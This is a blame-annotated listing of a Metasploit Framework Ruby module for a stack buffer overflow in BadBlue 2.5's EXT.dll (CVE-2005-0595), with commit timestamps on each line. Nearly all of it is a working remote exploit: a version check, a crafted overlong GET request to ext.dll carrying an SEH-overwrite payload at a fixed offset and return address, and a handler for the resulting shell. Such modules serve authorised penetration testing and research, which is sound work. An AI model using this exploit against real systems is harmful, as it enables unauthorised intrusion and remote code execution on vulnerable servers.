2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-12-23 18:31:57 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-12-23 18:31:57 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-12-23 18:31:57 +00:00
|
|
|
'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This is a stack buffer overflow exploit for BadBlue version 2.5.
|
2006-12-23 18:31:57 +00:00
|
|
|
},
|
|
|
|
'Author' => 'acaro <acaro [at] jervus.it>',
|
|
|
|
'License' => BSD_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-23 18:31:57 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-05-13 17:39:42 +00:00
|
|
|
[ 'CVE', '2005-0595' ],
|
2006-12-23 18:31:57 +00:00
|
|
|
[ 'OSVDB', '14238' ],
|
2009-05-13 17:39:42 +00:00
|
|
|
[ 'BID', '7387' ],
|
2006-12-23 18:31:57 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-12-23 18:31:57 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
|
2006-12-23 18:31:57 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 20 2003',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self.class )
|
2006-12-23 18:31:57 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-23 18:31:57 +00:00
|
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
|
|
resp = sock.get_once
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
if (resp =~ /BadBlue\/2.5/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
2006-12-23 18:31:57 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
uri = "GET /ext.dll?mfcisapicommand="
|
|
|
|
sploit = rand_text_alphanumeric(500)
|
2006-12-23 18:31:57 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[492, seh.length] = seh
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sock.put(uri + sploit + "\r\n\r\n")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-23 18:31:57 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|